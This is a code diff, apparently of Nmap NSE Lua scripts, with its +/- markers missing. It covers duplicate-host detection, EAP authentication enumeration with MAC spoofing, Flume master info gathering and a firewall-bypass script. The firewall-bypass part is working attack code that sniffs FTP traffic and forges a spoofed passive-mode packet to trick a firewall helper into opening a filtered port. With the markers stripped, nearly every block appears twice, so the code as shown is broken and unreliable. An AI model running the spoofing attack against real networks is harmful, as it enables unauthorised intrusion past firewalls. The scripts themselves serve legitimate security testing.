local str = 'Key ' .. key .. ':'
table.insert( results, { name = str, hostkeys[key] } )
end
end
return results
return results
end
local function processNBStat(tab)
local results, mac_table, name_table = {}, {}, {}
for host, v in pairs(tab) do
mac_table[v.mac] = mac_table[v.mac] or {}
if ( not(stdnse.contains(mac_table[v.mac], host.ip)) ) then
table.insert(mac_table[v.mac], host.ip)
end
local results, mac_table, name_table = {}, {}, {}
for host, v in pairs(tab) do
mac_table[v.mac] = mac_table[v.mac] or {}
if ( not(stdnse.contains(mac_table[v.mac], host.ip)) ) then
table.insert(mac_table[v.mac], host.ip)
end
name_table[v.server_name] = name_table[v.server_name] or {}
if ( not(stdnse.contains(name_table[v.server_name], host.ip)) ) then
table.insert(name_table[v.server_name], host.ip)
end
end
name_table[v.server_name] = name_table[v.server_name] or {}
if ( not(stdnse.contains(name_table[v.server_name], host.ip)) ) then
table.insert(name_table[v.server_name], host.ip)
end
end
for mac, hosts in pairs(mac_table) do
if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
end
end
for mac, hosts in pairs(mac_table) do
if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
end
end
for srvname, hosts in pairs(name_table) do
if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts })
end
end
for srvname, hosts in pairs(name_table) do
if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts })
end
end
return results
return results
end
local function processMAC(tab)
local mac
local mac_table = {}
local mac
local mac_table = {}
for host in pairs(tab) do
if ( host.mac_addr ) then
mac = stdnse.format_mac(host.mac_addr)
mac_table[mac] = mac_table[mac] or {}
if ( not(stdnse.contains(mac_table[mac], host.ip)) ) then
table.insert(mac_table[mac], host.ip)
end
end
end
for host in pairs(tab) do
if ( host.mac_addr ) then
mac = stdnse.format_mac(host.mac_addr)
mac_table[mac] = mac_table[mac] or {}
if ( not(stdnse.contains(mac_table[mac], host.ip)) ) then
table.insert(mac_table[mac], host.ip)
end
end
end
local results = {}
for mac, hosts in pairs(mac_table) do
if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
end
end
local results = {}
for mac, hosts in pairs(mac_table) do
if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
end
end
return results
return results
end
postaction = function()
local handlers = {
['ssl-cert'] = { func = processSSLCerts, name = "SSL" },
['sshhostkey'] = { func = processSSHKeys, name = "SSH" },
['nbstat'] = { func = processNBStat, name = "Netbios" },
['mac'] = { func = processMAC, name = "ARP" }
}
local handlers = {
['ssl-cert'] = { func = processSSLCerts, name = "SSL" },
['sshhostkey'] = { func = processSSHKeys, name = "SSH" },
['nbstat'] = { func = processNBStat, name = "Netbios" },
['mac'] = { func = processMAC, name = "ARP" }
}
-- temporary re-allocation code for SSH keys
for k, v in pairs(nmap.registry.sshhostkey or {}) do
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {}
nmap.registry['duplicates']['sshhostkey'][k] = v
end
-- temporary re-allocation code for SSH keys
for k, v in pairs(nmap.registry.sshhostkey or {}) do
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {}
nmap.registry['duplicates']['sshhostkey'][k] = v
end
if ( not(nmap.registry['duplicates']) ) then
return
end
if ( not(nmap.registry['duplicates']) ) then
return
end
local results = {}
for key, handler in pairs(handlers) do
if ( nmap.registry['duplicates'][key] ) then
local result_part = handler.func( nmap.registry['duplicates'][key] )
if ( result_part and #result_part > 0 ) then
table.insert(results, { name = handler.name, result_part } )
end
end
end
local results = {}
for key, handler in pairs(handlers) do
if ( nmap.registry['duplicates'][key] ) then
local result_part = handler.func( nmap.registry['duplicates'][key] )
if ( result_part and #result_part > 0 ) then
table.insert(results, { name = handler.name, result_part } )
end
end
end
return stdnse.format_output(true, results)
return stdnse.format_output(true, results)
end
-- we have no real action in here. In essence we move information from the
@@ -213,25 +213,25 @@ end
-- it when we need it.
hostaction = function(host)
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
for port, cert in pairs(host.registry["ssl-cert"] or {}) do
nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {}
nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {}
nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
end
for port, cert in pairs(host.registry["ssl-cert"] or {}) do
nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {}
nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {}
nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
end
if ( host.registry['nbstat'] ) then
nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {}
nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat']
end
if ( host.registry['nbstat'] ) then
nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {}
nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat']
end
if ( host.mac_addr_src ) then
nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {}
nmap.registry['duplicates']['mac'][host] = true
end
if ( host.mac_addr_src ) then
nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {}
nmap.registry['duplicates']['mac'][host] = true
end
return
return
end
local Actions = {

View File

@@ -36,159 +36,159 @@ categories = { "broadcast", "safe" }
prerule = function()
return nmap.is_privileged()
return nmap.is_privileged()
end
local default_scan = {
eap.eap_t.TLS,
eap.eap_t.TTLS,
eap.eap_t.PEAP,
eap.eap_t.MSCHAP,
eap.eap_t.TLS,
eap.eap_t.TTLS,
eap.eap_t.PEAP,
eap.eap_t.MSCHAP,
}
local UNKNOWN = "unknown"
action = function()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity")
local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan")
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local iface
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity")
local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan")
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local iface
-- trying with provided interface name
if arg_interface then
iface = nmap.get_interface_info(arg_interface)
end
-- trying with provided interface name
if arg_interface then
iface = nmap.get_interface_info(arg_interface)
end
-- trying with default nmap interface
if not iface then
local iname = nmap.get_interface()
if iname then
iface = nmap.get_interface_info(iname)
end
end
-- trying with default nmap interface
if not iface then
local iname = nmap.get_interface()
if iname then
iface = nmap.get_interface_info(iname)
end
end
-- failed
if not iface then
return "please specify an interface with -e"
end
stdnse.print_debug(1, "iface: %s", iface.device)
-- failed
if not iface then
return "please specify an interface with -e"
end
stdnse.print_debug(1, "iface: %s", iface.device)
local timeout = (arg_timeout or 10) * 1000
local timeout = (arg_timeout or 10) * 1000
stdnse.print_debug(2, "timeout: %s", timeout)
stdnse.print_debug(2, "timeout: %s", timeout)
local pcap = nmap.new_socket()
pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
local pcap = nmap.new_socket()
pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
local identity = { name="anonymous", auth = {}, probe = -1 }
local identity = { name="anonymous", auth = {}, probe = -1 }
if arg_identity then
identity.name = tostring(arg_identity)
end
if arg_identity then
identity.name = tostring(arg_identity)
end
local scan
if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then
scan = default_scan
else
scan = arg_scan
end
local scan
if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then
scan = default_scan
else
scan = arg_scan
end
local valid = false
for i,v in ipairs(scan) do
v = tonumber(v)
if v ~= nil and v < 256 and v > 3 then
stdnse.print_debug(1, "selected: %s", eap.eap_str[v] or "unassigned" )
identity.auth[v] = UNKNOWN
valid = true
end
end
local valid = false
for i,v in ipairs(scan) do
v = tonumber(v)
if v ~= nil and v < 256 and v > 3 then
stdnse.print_debug(1, "selected: %s", eap.eap_str[v] or "unassigned" )
identity.auth[v] = UNKNOWN
valid = true
end
end
if not valid then
return "no valid scan methods provided"
end
if not valid then
return "no valid scan methods provided"
end
local tried_all = false
local tried_all = false
local start_time = nmap.clock_ms()
eap.send_start(iface)
local start_time = nmap.clock_ms()
eap.send_start(iface)
while(nmap.clock_ms() - start_time < timeout) and not tried_all do
local status, plen, l2_data, l3_data, time = pcap:pcap_receive()
if (status) then
stdnse.print_debug(2, "packet size: 0x%x", plen )
local packet = eap.parse(l2_data .. l3_data)
while(nmap.clock_ms() - start_time < timeout) and not tried_all do
local status, plen, l2_data, l3_data, time = pcap:pcap_receive()
if (status) then
stdnse.print_debug(2, "packet size: 0x%x", plen )
local packet = eap.parse(l2_data .. l3_data)
if packet then
stdnse.print_debug(2, "packet valid")
if packet then
stdnse.print_debug(2, "packet valid")
-- respond to identity requests, using the same session id
if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
stdnse.print_debug(1, "server identity: %s",packet.eap.body.identity)
eap.send_identity_response(iface, packet.eap.id, identity.name)
end
-- respond to identity requests, using the same session id
if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
stdnse.print_debug(1, "server identity: %s",packet.eap.body.identity)
eap.send_identity_response(iface, packet.eap.id, identity.name)
end
-- respond with NAK to every auth request to enumerate them until we get a failure
if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
stdnse.print_debug(1, "auth request: %s",eap.eap_str[packet.eap.type])
identity.auth[packet.eap.type] = true
-- respond with NAK to every auth request to enumerate them until we get a failure
if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
stdnse.print_debug(1, "auth request: %s",eap.eap_str[packet.eap.type])
identity.auth[packet.eap.type] = true
identity.probe = -1
for i,v in pairs(identity.auth) do
stdnse.print_debug(1, "identity.auth: %d %s",i,tostring(v))
if v == UNKNOWN then
identity.probe = i
eap.send_nak_response(iface, packet.eap.id, i)
break
end
end
if identity.probe == -1 then tried_all = true end
end
identity.probe = -1
for i,v in pairs(identity.auth) do
stdnse.print_debug(1, "identity.auth: %d %s",i,tostring(v))
if v == UNKNOWN then
identity.probe = i
eap.send_nak_response(iface, packet.eap.id, i)
break
end
end
if identity.probe == -1 then tried_all = true end
end
-- retry on failure
if packet.eap.code == eap.code_t.FAILURE then
stdnse.print_debug(1, "auth failure")
identity.auth[identity.probe] = false
-- retry on failure
if packet.eap.code == eap.code_t.FAILURE then
stdnse.print_debug(1, "auth failure")
identity.auth[identity.probe] = false
-- don't give up at the first failure!
-- mac spoofing to avoid to wait too much
local d = string.byte(iface.mac,6)
d = (d + 1) % 256
iface.mac = iface.mac:sub(1,5) .. bin.pack("C",d)
-- don't give up at the first failure!
-- mac spoofing to avoid to wait too much
local d = string.byte(iface.mac,6)
d = (d + 1) % 256
iface.mac = iface.mac:sub(1,5) .. bin.pack("C",d)
tried_all = true
for i,v in pairs(identity.auth) do
if v == UNKNOWN then
tried_all = false
break
end
end
if not tried_all then
eap.send_start(iface)
end
end
tried_all = true
for i,v in pairs(identity.auth) do
if v == UNKNOWN then
tried_all = false
break
end
end
if not tried_all then
eap.send_start(iface)
end
end
else
stdnse.print_debug(1, "packet invalid! wrong filter?")
end
end
end
else
stdnse.print_debug(1, "packet invalid! wrong filter?")
end
end
end
local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) }
for i,v in pairs(identity.auth) do
if v== true then
table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
else
table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
end
end
local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) }
for i,v in pairs(identity.auth) do
if v== true then
table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
else
table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
end
end
for i,v in ipairs(results) do
stdnse.print_debug(1, "%s", tostring(v))
end
for i,v in ipairs(results) do
stdnse.print_debug(1, "%s", tostring(v))
end
return stdnse.format_output(true, results)
return stdnse.format_output(true, results)
end

View File

@@ -43,234 +43,234 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
ftp_helper = {
should_run = function(host, helperport)
local helperport = helperport or 21
-- IPv4 and IPv6 are supported
if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
return false
should_run = function(host, helperport)
local helperport = helperport or 21
-- IPv4 and IPv6 are supported
if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
return false
end
-- Test if helper port is open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, helperport)
testsock:close()
if not status then
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport)
return false
end
return true
end,
attack = function(host, helperport, targetport)
local ethertype, payload
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
if isIp4 then
-- IPv4 payload
payload = "227 Entering Passive Mode (" ..
string.gsub(host.ip,"%.",",") .. "," ..
bit.band(bit.rshift(targetport, 8), 0xff) ..
"," .. bit.band(targetport, 0xff) ..
")\r\n"
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
else
-- IPv6 payload
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
end
helperport = helperport or 21
local function spoof_ftp_packet(host, helperport, targetport)
-- Sniffs the network for src host host.ip and src port helperport
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
local status, l2data, l3data
local timeout = 1000
local start = nmap.clock_ms()
-- Start sniffing
local sniffer = nmap.new_socket()
sniffer:set_timeout(100)
sniffer:pcap_open(host.interface, 256, true, filter)
-- Until we get adequate packet
while (nmap.clock_ms() - start) < timeout do
local _
status, _, l2data, l3data = sniffer:pcap_receive()
if status and string.find(l3data, "220 ") then
break
end
end
-- Test if helper port is open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, helperport)
testsock:close()
if not status then
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport)
return false
-- Get ethernet values
local f = packet.Frame:new(l2data)
f:ether_parse()
local p = packet.Packet:new(l3data, #l3data)
if isIp4 then
if not p:ip_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
return true
end,
attack = function(host, helperport, targetport)
local ethertype, payload
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
if isIp4 then
-- IPv4 payload
payload = "227 Entering Passive Mode (" ..
string.gsub(host.ip,"%.",",") .. "," ..
bit.band(bit.rshift(targetport, 8), 0xff) ..
"," .. bit.band(targetport, 0xff) ..
")\r\n"
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
else
-- IPv6 payload
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
end
helperport = helperport or 21
local function spoof_ftp_packet(host, helperport, targetport)
-- Sniffs the network for src host host.ip and src port helperport
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
local status, l2data, l3data
local timeout = 1000
local start = nmap.clock_ms()
-- Start sniffing
local sniffer = nmap.new_socket()
sniffer:set_timeout(100)
sniffer:pcap_open(host.interface, 256, true, filter)
-- Until we get adequate packet
while (nmap.clock_ms() - start) < timeout do
local _
status, _, l2data, l3data = sniffer:pcap_receive()
if status and string.find(l3data, "220 ") then
break
end
end
-- Get ethernet values
local f = packet.Frame:new(l2data)
f:ether_parse()
local p = packet.Packet:new(l3data, #l3data)
if isIp4 then
if not p:ip_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
else
if not p:ip6_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
end
-- Spoof packet
-- 1. Invert ethernet addresses
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
-- 2. Modify packet payload
p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
-- 3. Increment IP ID field (IPv4 packets)
if isIp4 then
p:ip_set_id(p.ip_id + 1)
end
-- 4. Set TCP sequence number correctly using traffic data
p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
-- 5. Update all checksums and lengths
if isIp4 then
-- Packet length field
p:ip_set_len(#p.buf)
p:ip_count_checksum()
else
-- Payload length field
p:ip6_set_plen(#p.buf - p.tcp_offset)
end
p:tcp_count_checksum()
-- and finally, we send it.
local dnet = nmap.new_dnet()
dnet:ethernet_open(host.interface)
dnet:ethernet_send(f.frame_buf .. p.buf)
status = sniffer:pcap_receive()
dnet:ethernet_close()
return true
else
if not p:ip6_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
end
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
-- Spoof packet
-- 1. Invert ethernet addresses
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
-- Wait for packet spoofing thread
stdnse.sleep(1)
-- Make connection to the target while packet the spoofing thread is sniffing for packets
local socket = nmap.new_socket()
socket:set_timeout(3000)
local status, _ = socket:connect(host.ip, helperport)
if not status then
-- Problem connecting to helper port
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
return
end
-- 2. Modify packet payload
p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
-- 3. Increment IP ID field (IPv4 packets)
if isIp4 then
p:ip_set_id(p.ip_id + 1)
end
-- wait packet spoofing thread to finish
stdnse.sleep(1.5)
socket:close()
return
end,
-- 4. Set TCP sequence number correctly using traffic data
p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
-- 5. Update all checksums and lengths
if isIp4 then
-- Packet length field
p:ip_set_len(#p.buf)
p:ip_count_checksum()
else
-- Payload length field
p:ip6_set_plen(#p.buf - p.tcp_offset)
end
p:tcp_count_checksum()
-- and finally, we send it.
local dnet = nmap.new_dnet()
dnet:ethernet_open(host.interface)
dnet:ethernet_send(f.frame_buf .. p.buf)
status = sniffer:pcap_receive()
dnet:ethernet_close()
return true
end
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
-- Wait for packet spoofing thread
stdnse.sleep(1)
-- Make connection to the target while packet the spoofing thread is sniffing for packets
local socket = nmap.new_socket()
socket:set_timeout(3000)
local status, _ = socket:connect(host.ip, helperport)
if not status then
-- Problem connecting to helper port
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
return
end
-- wait packet spoofing thread to finish
stdnse.sleep(1.5)
socket:close()
return
end,
}
-- List of helpers
local helpers = {
ftp = ftp_helper, -- FTP (IPv4 and IPv6)
ftp = ftp_helper, -- FTP (IPv4 and IPv6)
}
local helper
hostrule = function(host)
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME )
nmap.registry[SCRIPT_NAME].rootfail = true
end
return false
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME )
nmap.registry[SCRIPT_NAME].rootfail = true
end
return false
end
if not host.interface then
return false
end
if not host.interface then
return false
end
if helper and not helpers[helper] then
stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper)
return false
end
if helper and not helpers[helper] then
stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper)
return false
end
return true
return true
end
action = function(host, port)
local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
local helpername
local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
local helpername
if targetport then
-- We should check if target port is not already open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
if status then
stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
return nil
end
testsock:close()
else
-- If not target port specified, we try to get a filtered port,
-- which would be more likely blocked by a firewall before looking for a closed one.
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
if port then
targetport = port.number
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
else
-- No closed or filtered ports to check on.
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
return
end
end
-- If helper chosen by user
if helper then
if helpers[helper].should_run(host, helperport) then
helpers[helper].attack(host, helperport, targetport)
else
return
end
-- If no helper chosen manually, we iterate over table to find a suitable one.
else
for i, helper in pairs(helpers) do
if helper.should_run(host, helperport) then
helpername = i
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
helper.attack(host, helperport, targetport)
break
end
end
if not helpername then
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
return nil
end
end
-- Then we check if target port is now open.
if targetport then
-- We should check if target port is not already open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
testsock:close()
if status then
-- If we could connect, then port is open and firewall is vulnerable.
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
return stdnse.format_output(true, vulnstring)
stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
return nil
end
testsock:close()
else
-- If not target port specified, we try to get a filtered port,
-- which would be more likely blocked by a firewall before looking for a closed one.
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
if port then
targetport = port.number
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
else
-- No closed or filtered ports to check on.
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
return
end
end
-- If helper chosen by user
if helper then
if helpers[helper].should_run(host, helperport) then
helpers[helper].attack(host, helperport, targetport)
else
return
end
-- If no helper chosen manually, we iterate over table to find a suitable one.
else
for i, helper in pairs(helpers) do
if helper.should_run(host, helperport) then
helpername = i
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
helper.attack(host, helperport, targetport)
break
end
end
if not helpername then
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
return nil
end
end
-- Then we check if target port is now open.
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
testsock:close()
if status then
-- If we could connect, then port is open and firewall is vulnerable.
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
return stdnse.format_output(true, vulnstring)
end
end

View File

@@ -86,131 +86,131 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({35871}, "flume-master")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({35871}, "flume-master")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end
function add_target(hostname)
if target.ALLOW_NEW_TARGETS then
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, hostname))
local status,err = target.add(hostname)
end
if target.ALLOW_NEW_TARGETS then
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, hostname))
local status,err = target.add(hostname)
end
end
-- ref: http://lua-users.org/wiki/TableUtils
function table_count(tt, item)
local count
count = 0
for ii,xx in pairs(tt) do
if item == xx then count = count + 1 end
end
return count
local count
count = 0
for ii,xx in pairs(tt) do
if item == xx then count = count + 1 end
end
return count
end
parse_page = function( host, port, uri, intresting_keys )
local result = {}
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
for name,value in string.gmatch(body,"<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do
stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
if nmap.verbosity() > 1 then
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
else
for i,v in ipairs(intresting_keys) do
if name:match(("^%s"):format(v)) then
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
end
end
end
end
end
return result
local result = {}
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
for name,value in string.gmatch(body,"<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do
stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
if nmap.verbosity() > 1 then
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
else
for i,v in ipairs(intresting_keys) do
if name:match(("^%s"):format(v)) then
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
end
end
end
end
end
return result
end
action = function( host, port )
local result = {}
local uri = "/flumemaster.jsp"
local env_uri = "/masterenv.jsp"
local config_uri = "/masterstaticconfig.jsp"
local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
local nodes = { }
local zookeepers = { }
local hbasemasters = { }
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
local capacity = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("Version:%s*</b>([^][,]+)") then
local version = body:match("Version:%s*</b>([^][,]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
result[#result+1] = ("Version: %s"):format(version)
port.version.version = version
end
if body:match("Compiled:%s*</b>([^][<]+)") then
local compiled = body:match("Compiled:%s*</b>([^][<]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
result[#result+1] = ("Compiled: %s"):format(compiled)
end
if body:match("ServerID:%s*([^][<]+)") then
local upgrades = body:match("ServerID:%s*([^][<]+)")
stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
result[#result] = ("ServerID: %s"):format(upgrades)
end
for logical,physical,hostname in string.gmatch(body,"<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do
